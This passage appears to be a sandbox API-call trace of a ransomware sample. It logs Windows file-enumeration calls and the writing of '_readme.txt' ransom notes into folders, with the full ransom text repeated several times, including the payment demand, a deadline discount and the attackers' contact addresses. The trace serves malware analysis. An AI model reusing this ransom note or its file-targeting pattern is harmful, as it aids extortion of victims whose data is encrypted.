look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.101] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.101] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.101] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.101] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.102] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0267.102] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.102] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.102] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.103] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.103] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.103] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.103] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.103] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.103] PathFindFileNameW (pszPath="") returned="" [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.103] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.103] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.103] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.104] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.104] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.104] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.104] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.104] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.104] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.104] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.104] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.104] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.105] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0267.105] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.105] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.105] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.105] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.105] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab920 [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.105] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.105] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.105] PathFindFileNameW (pszPath="") returned="" [0267.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.105] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.106] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.106] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.106] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.106] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0267.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.106] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0267.106] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.107] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.107] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3077390 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116760 [0267.107] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0267.107] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116760 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31167b8 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0267.107] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116760 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0267.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116810 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116868 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116760 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31167b8 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31168c0 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116918 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4411120, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc4411120, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x721070 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 